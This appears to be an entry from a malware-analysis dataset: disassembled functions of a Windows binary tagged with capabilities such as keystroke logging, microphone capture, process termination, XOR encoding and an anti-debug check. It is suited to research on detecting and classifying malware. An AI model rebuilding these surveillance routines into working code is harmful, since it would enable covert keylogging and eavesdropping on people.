joyce8/EMBER2024-capa huggingface dataset:
Function at 0x435bec
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffec0
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x13c], ecx
mov dword [ebp - 0x140], ecx
mov dword [ebp - 0x138], ecx
mov dword [ebp - 0xc], ecx
mov byte [ebp - 5], dl
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040489c
xor eax, eax
push ebp
push 0x435d2c
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
lea edx, [ebp - 0x138]
mov eax, dword [ebp - 4]
call fcn.00407f3c
mov edx, dword [ebp - 0x138]
lea eax, [ebp - 4]
call fcn.00404484
xor edx, edx
mov eax, 2
call fcn.0041afb0
mov esi, eax
mov dword [ebp - 0x134], 0x128
lea edx, [ebp - 0x134]
mov eax, esi
call fcn.0041afd0
mov edi, eax
jmp 0x435cf0
lea eax, [ebp - 0x140]
lea edx, [ebp - 0x110]
mov ecx, 0x104
call fcn.0040465c
mov eax, dword [ebp - 0x140]
lea edx, [ebp - 0x13c]
call fcn.00408bc4
mov eax, dword [ebp - 0x13c]
lea edx, [ebp - 0xc]
call fcn.00407f3c
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp - 4]
call fcn.004047f8
jne 0x435ce1
mov bl, 1
call sub.kernel32.dll_GetCurrentProcessId
cmp eax, dword [ebp - 0x12c]
je 0x435cdb
push 0
mov eax, dword [ebp - 0x12c]
push eax
push 0
push 1
call sub.kernel32.dll_OpenProcess
push eax
call sub.kernel32.dll_TerminateProcess
cmp byte [ebp - 5], 0
je 0x435cf8
lea edx, [ebp - 0x134]
mov eax, esi
call fcn.0041aff0
mov edi, eax
test edi, edi
jne 0x435c72
push esi
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x435d33
lea eax, [ebp - 0x140]
mov edx, 3
call fcn.00404410
lea eax, [ebp - 0xc]
call fcn.004043ec
lea eax, [ebp - 4]
call fcn.004043ec
ret

Function at 0x435d3c
Capabilities:
Terminate process

Disassembly:
push ebx
push esi
mov ebx, eax
test ebx, ebx
jbe 0x435d61
call sub.kernel32.dll_GetCurrentProcessId
cmp ebx, eax
je 0x435d61
push 0
push ebx
push 0
push 1
call sub.kernel32.dll_OpenProcess
push eax
call sub.kernel32.dll_TerminateProcess
mov esi, eax
mov eax, esi
pop esi
pop ebx
ret

Function at 0x435dc8
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov esi, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040489c
xor eax, eax
push ebp
push 0x435e4c
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
test esi, esi
je 0x435e36
push 0
push 0
push 2
push 0
push 2
push 0x40000000
mov eax, dword [ebp - 4]
call fcn.004048ac
push eax
call sub.kernel32.dll_CreateFileA
mov edi, eax
cmp edi, 0xffffffff
je 0x435e36
push 0
lea eax, [ebp - 0xc]
push eax
push esi
mov eax, dword [ebp - 8]
push eax
push edi
call sub.kernel32.dll_WriteFile_1
cmp eax, 1
sbb ebx, ebx
inc ebx
push edi
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x435e53
lea eax, [ebp - 4]
call fcn.004043ec
ret
Function at 0x435edc
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff8
mov dword [esp + 4], ecx
mov dword [esp], edx
mov ebp, eax
mov eax, dword [esp]
call fcn.004046ac
mov edi, eax
mov eax, dword [esp]
call fcn.004046ac
mov esi, eax
test esi, esi
jle 0x435f17
mov ebx, 1
mov eax, dword [esp]
movzx eax, byte [eax + ebx - 1]
xor edi, eax
inc ebx
dec esi
jne 0x435f09
mov eax, dword [esp + 4]
mov edx, ebp
call fcn.00404440
mov eax, ebp
call fcn.004046ac
mov esi, eax
test esi, esi
jle 0x435f4d
mov ebx, 1
mov eax, dword [esp + 4]
call fcn.00404904
mov edx, edi
xor dl, byte [ebp + ebx - 1]
not dl
mov byte [eax + ebx - 1], dl
inc ebx
dec esi
jne 0x435f34
pop ecx
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x43602c
Capabilities:
Query environment variable

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffc00
mov esi, edx
mov edi, eax
mov eax, esi
call fcn.004043ec
mov eax, esp
mov edx, 2
call fcn.00406ed4
push 0x400
lea eax, [esp + 4]
push eax
mov eax, edi
call fcn.004048ac
mov ebp, eax
push ebp
call sub.kernel32.dll_GetEnvironmentVariableA
mov ebx, eax
cmp ebx, 0x400
jge 0x43607d
mov edx, esp
mov eax, esi
mov ecx, ebx
call fcn.004044dc
jmp 0x436096
mov edx, ebx
dec edx
mov eax, esi
call fcn.004049dc
push ebx
mov eax, dword [esi]
call fcn.004048ac
push eax
push ebp
call sub.kernel32.dll_GetEnvironmentVariableA
add esp, 0x400
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x43682c
Capabilities:
Query or enumerate registry value

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff0
mov ebp, ecx
mov edi, edx
mov esi, eax
xor ebx, ebx
mov dword [esp + 8], 4
push esp
push 0x20119
push 0
mov eax, edi
call fcn.004048ac
push eax
push esi
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x43688f
lea eax, [esp + 8]
push eax
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x14]
push eax
push 0
mov eax, ebp
call fcn.004048ac
push eax
mov eax, dword [esp + 0x14]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x43688f
cmp dword [esp + 0xc], 4
jne 0x43688f
mov ebx, dword [esp + 4]
mov eax, dword [esp]
push eax
call sub.advapi32.dll_RegCloseKey_1
mov eax, ebx
add esp, 0x10
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x4368a4
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef0
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov edi, edx
mov esi, eax
mov ebx, dword [ebp + 8]
mov eax, ebx
call fcn.004043ec
mov dword [ebp - 0xc], pe_nt_image_headers32
lea eax, [ebp - 0x110]
mov edx, dword [ebp - 0xc]
call fcn.00406ed4
lea eax, [ebp - 8]
push eax
push 0x20119
push 0
mov eax, edi
call fcn.004048ac
push eax
push esi
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x436932
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x10]
push eax
push 0
mov eax, dword [ebp - 4]
call fcn.004048ac
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x436932
cmp dword [ebp - 0x10], 1
jne 0x436932
mov eax, ebx
lea edx, [ebp - 0x110]
mov ecx, pe_nt_image_headers32
call fcn.0040465c
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegCloseKey_1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x437178
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
mov ebx, eax
mov eax, ebx
call fcn.004048ac
push eax
call sub.kernel32.dll_GetFileAttributesA
cmp eax, 0xffffffff
je 0x437191
test al, 0x10
je 0x437195
xor eax, eax
pop ebx
ret
mov al, 1
pop ebx
ret

Function at 0x4371e8
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
mov ebx, eax
mov eax, ebx
call fcn.00404c2c
push eax
call sub.kernel32.dll_GetFileAttributesW
cmp eax, 0xffffffff
je 0x437201
test al, 0x10
je 0x437205
xor eax, eax
pop ebx
ret
mov al, 1
pop ebx
ret
Function at 0x439470
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], edx
mov edi, eax
mov eax, edi
call fcn.00405700
mov esi, eax
push esi
mov eax, dword [ebp - 4]
mov ecx, 1
mov edx, dword [0x439444]
call fcn.004058dc
add esp, 4
mov edx, esi
dec edx
test edx, edx
jl 0x4394b9
inc edx
xor eax, eax
mov ecx, esi
sub cl, al
xor cl, byte [edi + eax]
mov ebx, dword [ebp - 4]
mov ebx, dword [ebx]
mov byte [ebx + eax], cl
inc eax
dec edx
jne 0x4394a6
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x4395e0
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x20], ecx
mov edi, edx
mov esi, eax
lea ebx, [ebp - 0xc]
xor eax, eax
push ebp
push 0x4397aa
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 1], 0
lea edx, [ebp - 0x18]
mov eax, edi
call fcn.004395a0
lea edx, [ebp - 0x1c]
mov eax, 0x4397c4
call fcn.004395a0
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
mov eax, esi
call fcn.00404c2c
push eax
call sub.kernel32.dll_CreateFileW
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
je 0x439781
xor eax, eax
push ebp
push 0x43977a
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x1000
lea eax, [ebp - 0x14]
mov ecx, 1
mov edx, dword [0x439444]
call fcn.004058dc
add esp, 4
push 0
push ebx
mov eax, dword [ebp - 0x14]
call fcn.00405700
push eax
mov eax, dword [ebp - 0x14]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_ReadFile
test eax, eax
je 0x439715
cmp dword [ebx], 0
je 0x439715
mov eax, dword [ebx]
push eax
lea eax, [ebp - 0x14]
mov ecx, 1
mov edx, dword [0x439444]
call fcn.004058dc
add esp, 4
lea ecx, [ebp - 0x20]
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
call fcn.004394c0
push 1
push 0
push 0
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_SetFilePointer
sub eax, dword [ebx]
xor edx, edx
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], edx
push 0
push 0
mov eax, dword [ebp - 0x28]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_SetFilePointer
push 0
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebx]
push eax
mov eax, dword [ebp - 0x20]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_WriteFile_1
test eax, eax
je 0x439715
mov byte [ebp - 1], 1
jmp 0x43967f
cmp byte [ebp - 1], 0
je 0x439763
push 2
push 0
push 0
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_SetFilePointer
push 0
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x1c]
call fcn.00405700
push eax
mov eax, dword [ebp - 0x1c]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_WriteFile_1
inc dword [0x467d18]
lea edx, [ebp - 0x2c]
mov eax, esi
call fcn.00436664
mov edx, dword [ebp - 0x2c]
mov eax, 0x467d20
call fcn.00404440
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x439781
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_CloseHandle
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4397b1
lea eax, [ebp - 0x2c]
call fcn.004043ec
lea eax, [ebp - 0x20]
mov edx, dword [0x439444]
mov ecx, 4
call fcn.0040508c
ret
Function at 0x4397d0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
push ebx
push esi
mov esi, eax
mov ecx, 1
lea eax, [ebp - 0x1c]
mov bl, byte [edx + ecx - 1]
mov byte [eax], bl
inc ecx
inc eax
cmp ecx, 9
jne 0x4397e2
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
mov eax, esi
call fcn.00404c2c
push eax
call sub.kernel32.dll_CreateFileW
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x4398b7
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebp - 8], 0xffffffff
jne 0x439833
mov byte [ebp - 1], 1
call fcn.00403e4c
jmp 0x4398be
push 2
push 0
push 0xfffffffffffffff8
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_SetFilePointer
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x43985d
call sub.kernel32.dll_GetLastError
test eax, eax
je 0x43985d
mov byte [ebp - 1], 1
call fcn.00403e4c
jmp 0x4398be
push 0
lea eax, [ebp - 0xc]
push eax
push 8
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_ReadFile
test eax, eax
je 0x43987c
cmp dword [ebp - 0xc], 8
je 0x439887
mov byte [ebp - 1], 1
call fcn.00403e4c
jmp 0x4398be
lea edx, [ebp - 0x1c]
lea eax, [ebp - 0x14]
mov ecx, 8
call fcn.00407fdc
mov byte [ebp - 1], al
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4398be
cmp dword [ebp - 8], 0xffffffff
je 0x4398b6
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_CloseHandle
ret
mov al, byte [ebp - 1]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x439ed8
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
mov byte [ebp - 1], cl
mov esi, edx
mov ebx, eax
cmp byte [0x467d30], 0
je 0x439f08
mov edx, 0xc8
mov eax, 0x32
call fcn.0040dc78
push eax
call sub.kernel32.dll_Sleep
cmp bl, 0x90
jne 0x439f4b
push 0x90
call sub.user32.dll_GetKeyState
and ax, 1
cmp al, 1
sbb ebx, ebx
inc ebx
lea eax, [ebp - 0x102]
push eax
call sub.user32.dll_GetKeyboardState
test bl, bl
je 0x439f36
and byte [ebp - 0x72], 0xfe
jmp 0x439f3a
or byte [ebp - 0x72], 1
lea eax, [ebp - 0x102]
push eax
call sub.user32.dll_SetKeyboardState
jmp 0x439fd1
push 0
xor eax, eax
mov al, bl
push eax
call sub.user32.dll_MapVirtualKeyA
and al, 0xff
mov byte [ebp - 2], al
test si, si
jbe 0x439fd1
mov eax, ebx
and eax, 0xff
bt dword [0x4656a0], eax
jae 0x439fa1
mov eax, dword [ebp + 8]
push eax
mov ecx, 1
mov dl, byte [ebp - 2]
mov eax, ebx
call fcn.00439e8c
pop ecx
cmp byte [ebp - 1], 0
je 0x439fcc
mov eax, dword [ebp + 8]
push eax
mov ecx, 3
mov dl, byte [ebp - 2]
mov eax, ebx
call fcn.00439e8c
pop ecx
jmp 0x439fcc
mov eax, dword [ebp + 8]
push eax
xor ecx, ecx
mov dl, byte [ebp - 2]
mov eax, ebx
call fcn.00439e8c
pop ecx
cmp byte [ebp - 1], 0
je 0x439fcc
mov eax, dword [ebp + 8]
push eax
mov ecx, 2
mov dl, byte [ebp - 2]
mov eax, ebx
call fcn.00439e8c
pop ecx
dec si
jne 0x439f61
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x439fd8
Capabilities:
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, eax
cmp byte [0x467d30], 0
je 0x439ffc
mov edx, 0xc8
mov eax, 0x32
call fcn.0040dc78
push eax
call sub.kernel32.dll_Sleep
push 0
xor eax, eax
mov al, bl
push eax
call sub.user32.dll_MapVirtualKeyA
and al, 0xff
mov edx, ebx
and edx, 0xff
bt dword [0x4656a0], edx
jae 0x43a02e
mov edx, dword [ebp + 8]
push edx
xor ecx, ecx
mov edx, eax
mov eax, ebx
call fcn.00439e8c
pop ecx
pop ebx
pop ebp
ret
mov edx, dword [ebp + 8]
push edx
mov ecx, 2
mov edx, eax
mov eax, ebx
call fcn.00439e8c
pop ecx
pop ebx
pop ebp
ret
Function at 0x43b59c
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x43b5a2
ret

Function at 0x43d58c
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
lea eax, [ebp - 0x2c]
push eax
call sub.kernel32.dll_GetSystemInfo
mov edx, dword [ebp - 4]
mov ecx, dword [ebp - 8]
dec ecx
js 0x43d5dd
lea eax, [ebp - 0x2c]
cmp word [eax + 0x20], 3
je 0x43d5c4
mov eax, dword [edx + ecx*4]
bswap eax
shr eax, 8
mov dword [edx + ecx*4], eax
dec ecx
jns 0x43d5b4
jmp 0x43d5dd
push ebx
xor ebx, ebx
mov eax, dword [edx + ecx*4]
mov bh, al
mov bl, ah
shr eax, 0x10
shl ebx, 8
mov bl, al
mov dword [edx + ecx*4], ebx
dec ecx
jns 0x43d5c5
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x445bac
Capabilities:
Check for software breakpoints

Disassembly:
push ebx
mov ebx, eax
cmp dword [ebx + 0x14], 0xca
jne 0x445bda
mov eax, ebx
call fcn.00446660
cmp dword [ebx + 0x40], 0
je 0x445bd3
mov dword [ebx + 0x14], 0xcf
mov eax, 1
pop ebx
ret
mov dword [ebx + 0x14], 0xcb
cmp dword [ebx + 0x14], 0xcb
jne 0x445c4b
mov edx, dword [ebx + 0x1b4]
cmp dword [edx + 0x10], 0
je 0x445c3d
cmp dword [ebx + 8], 0
je 0x445bfc
mov eax, ebx
mov edx, dword [eax + 8]
call dword [edx]
mov eax, ebx
mov edx, dword [eax + 0x1b4]
call dword [edx]
test eax, eax
jne 0x445c0e
xor eax, eax
pop ebx
ret
cmp eax, 2
je 0x445c3d
cmp dword [ebx + 8], 0
je 0x445bef
cmp eax, 3
je 0x445c21
dec eax
jne 0x445bef
mov edx, dword [ebx + 8]
inc dword [edx + 4]
mov ecx, dword [edx + 4]
mov eax, dword [ebx + 8]
cmp ecx, dword [eax + 8]
jl 0x445bef
mov edx, dword [ebx + 0x140]
add dword [eax + 8], edx
jmp 0x445bef
mov ecx, dword [ebx + 0x90]
mov dword [ebx + 0x98], ecx
jmp 0x445c69
cmp dword [ebx + 0x14], 0xcc
je 0x445c69
mov eax, dword [ebx]
mov dword [eax + 0x14], 0x14
mov edx, dword [ebx + 0x14]
mov dword [eax + 0x18], edx
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
mov eax, ebx
call fcn.00445c74
pop ebx
ret

Function at 0x4570c0
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x14], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040489c
mov esi, 0x467de4
xor eax, eax
push ebp
push 0x457214
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [0x467de0], 0
mov dl, 1
mov eax, dword [0x414918]
call fcn.00403680
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x4571ef
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.00435994
mov eax, dword [ebp - 8]
mov edx, dword [eax]
call dword [edx + 0x14]
test eax, eax
jne 0x457131
call fcn.00403e4c
jmp 0x4571f6
mov eax, dword [ebp - 8]
mov edx, dword [eax]
call dword [edx + 0x14]
dec eax
test eax, eax
jl 0x4571d9
inc eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], 0
lea ecx, [ebp - 0x14]
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 8]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x14]
call fcn.00408620
mov dword [0x467de8], eax
xor eax, eax
mov dword [esi], eax
xor ebx, ebx
mov eax, 0x456e1c
call fcn.00436230
mov edi, eax
push 0x1f4
call sub.kernel32.dll_Sleep
cmp byte [0x467de0], 0
je 0x457194
call fcn.00403e4c
jmp 0x4571f6
cmp ebx, dword [esi]
jne 0x4571c2
push 0
push edi
call sub.kernel32.dll_TerminateThread
mov eax, dword [0x467df4]
push eax
call sub.ntdll.dll_ZwClose
mov eax, dword [0x467df0]
push eax
call sub.ntdll.dll_ZwClose
mov eax, dword [0x467df8]
call fcn.00402a48
jmp 0x4571cd
mov ebx, dword [esi]
cmp byte [0x467dec], 0
je 0x45717a
inc dword [ebp - 0xc]
dec dword [ebp - 0x10]
jne 0x45714d
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4571f6
mov eax, dword [ebp - 8]
call fcn.004036b0
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45721b
lea eax, [ebp - 0x14]
call fcn.004043ec
lea eax, [ebp - 4]
call fcn.004043ec
ret
Function at 0x45bfd4
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040489c
mov eax, dword [ebp - 8]
call fcn.0040489c
mov eax, dword [ebp - 0xc]
call fcn.0040489c
mov eax, dword [ebp + 0xc]
call fcn.0040489c
xor eax, eax
push ebp
push 0x45c110
push dword fs:[eax]
mov dword fs:[eax], esp
xor esi, esi
lea eax, [ebp - 0x10]
call fcn.00437780
cmp dword [ebp + 0xc], 0
je 0x45c039
lea eax, [ebp + 0xc]
mov ecx, dword [ebp + 0xc]
mov edx, 0x45c128
call fcn.004046f8
push 0
push 1
lea eax, [ebp - 4]
call fcn.00404904
mov ecx, eax
mov edx, dword [ebp + 0xc]
xor eax, eax
call fcn.0042bcf0
mov edi, eax
test edi, edi
je 0x45c0ed
cmp dword [ebp - 8], 0
jne 0x45c06d
mov eax, dword [ebp - 0xc]
call fcn.0043586c
mov ebx, eax
jmp 0x45c086
mov eax, dword [ebp - 0xc]
call fcn.004048ac
push eax
mov eax, dword [ebp - 8]
call fcn.004048ac
pop edx
call fcn.00436e20
mov ebx, eax
push 0xa
call sub.kernel32.dll_Sleep
inc esi
cmp esi, 0xbb8
ja 0x45c0ed
test ebx, ebx
je 0x45c05b
push 0x45c134
mov ecx, 0x45c138
xor edx, edx
mov eax, ebx
call fcn.00436db8
mov esi, eax
test esi, esi
je 0x45c0ed
mov dl, 1
mov eax, dword [0x414918]
call fcn.00403680
mov ebx, eax
mov edx, ebx
mov eax, esi
call fcn.0045bac8
mov edx, dword [ebp + 8]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x1c]
mov eax, ebx
call fcn.004036b0
push 0
push edi
push 0
push 1
call sub.kernel32.dll_OpenProcess
push eax
call sub.kernel32.dll_TerminateProcess
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45c117
lea eax, [ebp - 0x10]
mov edx, 4
call fcn.00404410
lea eax, [ebp + 0xc]
call fcn.004043ec
ret

Function at 0x45c7a8
Capabilities:
Capture microphone audio

Disassembly:
push ebx
push esi
add esp, 0xfffffff4
mov esi, eax
xor ebx, ebx
mov eax, dword [0x466908]
mov dword [esp], eax
xor eax, eax
mov dword [esp + 4], eax
fild qword [esp]
fmul dword [0x45c884]
movzx eax, word [0x466912]
shr eax, 3
mov dword [esp + 8], eax
fild dword [esp + 8]
fmulp st(1)
call fcn.00402e94
mov dword [0x46808c], eax
mov eax, dword [0x46808c]
call fcn.00402a18
mov dword [0x468088], eax
push 0x30000
push 0
push 0x45c78c
push 0x466904
push esi
push 0x468090
call sub.winmm.dll_waveInOpen
test eax, eax
jne 0x45c879
mov eax, 0x20
call fcn.00402a18
mov dword [0x468084], eax
mov eax, dword [0x468084]
mov edx, dword [0x468088]
mov dword [eax], edx
mov edx, dword [0x46808c]
mov dword [eax + 4], edx
push 0x20
mov eax, dword [0x468084]
push eax
mov eax, dword [0x468090]
push eax
call sub.winmm.dll_waveInPrepareHeader
test eax, eax
jne 0x45c879
push 0x20
mov eax, dword [0x468084]
push eax
mov eax, dword [0x468090]
push eax
call sub.winmm.dll_waveInAddBuffer
test eax, eax
jne 0x45c879
mov eax, dword [0x468090]
push eax
call sub.winmm.dll_waveInStart
test eax, eax
jne 0x45c879
mov bl, 1
mov eax, ebx
add esp, 0xc
pop esi
pop ebx
ret
Function at 0x45cde8
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.0040489c
xor eax, eax
push ebp
push 0x45ce4b
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
mov edx, 0x45ce60
call fcn.004046b4
push 0
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 4]
call fcn.004046ac
push eax
lea eax, [ebp - 4]
call fcn.00404904
push eax
push ebx
call sub.kernel32.dll_WriteFile_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45ce52
lea eax, [ebp - 4]
call fcn.004043ec
ret

Function at 0x45ce64
Capabilities:
Read file on windows
Read pipe

Disassembly:
push ebp
mov ebp, esp
push eax
mov eax, 8
add esp, 0xfffff004
push eax
dec eax
jne 0x45ce6d
mov eax, dword [ebp - 4]
add esp, 0xfffffff8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov esi, ecx
mov edi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x45cf2a
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.004043ec
mov dword [ebp - 0xc], 0x7fff
push edi
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 0xc]
push eax
push 0
push ebx
call sub.kernel32.dll_PeekNamedPipe
cmp dword [ebp - 8], 0
jbe 0x45cf14
push 0
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 0xc]
push eax
lea eax, [ebp - 0x800b]
push eax
push ebx
call sub.kernel32.dll_ReadFile
lea eax, [ebp - 0x800b]
push eax
lea eax, [ebp - 0x800b]
push eax
call sub.user32.dll_OemToCharA
lea eax, [ebp - 4]
lea edx, [ebp - 0x800b]
mov ecx, 0x7fff
call fcn.004044dc
lea eax, [ebp - 4]
mov edx, dword [ebp - 8]
call fcn.004049dc
mov eax, esi
mov edx, dword [ebp - 4]
call fcn.00404440
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45cf31
lea eax, [ebp - 4]
call fcn.004043ec
ret